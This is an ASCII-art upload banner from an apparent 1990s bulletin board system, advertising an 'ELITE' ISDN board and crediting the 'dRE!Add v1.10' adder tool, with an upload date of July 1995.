:        +49-ASK-ELITE!             \  (\)  \ \  //   /   |   |   :|_____  :
:         ISDN POWER!                \_____ /  \//___/________\ ________/  :
:                                         \/        \/         \/          :
:       .......... ..........  ........................ ..............     :
:       :        : :        : :      ............      :  :      :         :
:       :       :  :        : :      ·.   ......:      :  ·.     ·.        :
:        :      :  ·........: :       :  :        :····    :      :        :
 ·····································    ·································
             Upload Date: [07-26-95] - Upload Time [13:11:27]
dRE!Add v1.10 [REGiStERED]   bY dR.dRE! (tRSi /X·iNNOVATiON)